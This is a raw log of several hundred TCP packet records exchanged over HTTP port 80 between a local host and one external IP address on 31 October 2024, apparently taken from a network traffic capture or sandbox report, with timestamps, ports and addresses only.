Oct 31, 2024 01:19:21.432792902 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432804108 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432807922 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432823896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432832003 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432838917 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432847977 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432853937 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432868958 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432874918 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432898998 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432921886 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433340073 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433362007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433377028 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433383942 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433392048 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433397055 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433409929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433418036 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433423996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433437109 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433439970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433454037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433455944 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433465004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433471918 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433485031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433495045 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433505058 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433511019 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433515072 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433526993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433535099 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433542013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433553934 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433557987 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433573008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433577061 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433588028 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433599949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433599949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433604002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433609009 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433619022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433629990 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433643103 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433648109 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433657885 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433665991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433681965 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433682919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433696985 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433707952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433712006 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433717012 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433726072 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433732986 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433741093 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433754921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433757067 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433773041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433774948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433787107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433787107 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433803082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433806896 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433819056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433834076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433835983 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433851957 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433860064 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433866978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433881998 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.433882952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433897018 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.433917999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.434217930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.434233904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.434248924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.434257984 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.434267044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.434283972 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.434288979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.434303045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.434312105 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.434331894 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578263998 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578288078 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578311920 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578327894 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578344107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578361988 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578407049 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578438044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578460932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578485966 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578504086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578521013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578535080 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578547955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578563929 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578563929 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578578949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578579903 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578593016 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578593969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578608990 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578614950 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578629971 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578640938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578654051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578680992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578680992 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578720093 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578762054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578789949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578799963 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578824997 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578865051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578888893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.578903913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578922033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.578980923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579021931 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579024076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579040051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579062939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579077959 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579077959 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579098940 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579101086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579116106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579128981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579142094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579144001 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579154015 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579159975 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579173088 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579190016 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579212904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579236984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579252005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579272985 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579272985 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579287052 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579291105 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579303026 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579310894 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579324007 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579328060 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579341888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579346895 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579356909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579366922 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579372883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579375982 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579387903 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579401970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579408884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579408884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579421997 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579427004 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579440117 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579441071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579456091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579478979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579478979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579493046 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579494953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579509020 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579524040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579530954 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579540014 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579544067 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579580069 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579580069 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579595089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579610109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579627037 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579632044 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579644918 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579649925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579663992 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579664946 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579679966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579684973 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579696894 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579711914 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579713106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579718113 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579727888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579740047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579741955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579755068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579763889 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579771042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579777956 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579787970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579792976 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579798937 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579819918 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579835892 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579874039 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579889059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579902887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579911947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579925060 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579926968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579940081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579947948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579953909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579962015 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579969883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.579993963 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579994917 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.579994917 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580003977 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580018044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580034018 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580041885 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580053091 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580054998 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580076933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580077887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580091000 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580092907 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580107927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580110073 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580121994 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580127001 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580137968 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580152988 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580157042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580157042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580172062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580176115 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580188036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580190897 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580202103 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580210924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580220938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580229998 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580235004 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580250025 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580254078 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580254078 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580274105 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580277920 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580290079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580291033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580305099 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580312967 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580321074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580331087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580333948 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580349922 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580358028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580378056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580379009 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580394030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580403090 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580420017 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.580435991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.580462933 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581007004 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581022978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581037998 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581068993 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581108093 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581132889 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581147909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581162930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581173897 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581178904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581193924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581201077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581201077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581216097 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581223011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581233025 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581240892 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581245899 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581254959 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581262112 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581284046 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581284046 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581300020 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581357002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581372023 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581386089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581393957 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581401110 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581414938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581423044 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581434011 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581449032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581449032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581454039 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581458092 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581474066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581491947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581633091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581649065 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581662893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581686020 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581715107 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581763983 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581788063 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581804037 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581804037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581825018 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581840992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581842899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581856012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581870079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.581878901 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581893921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.581913948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582187891 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582202911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582226992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582233906 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582242012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582242966 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582257032 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582261086 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582279921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582295895 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582459927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582475901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582490921 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582501888 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582514048 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582539082 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582555056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582570076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582583904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582592964 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582606077 CET	49998	80	192.168.2.6	185.215.113.16
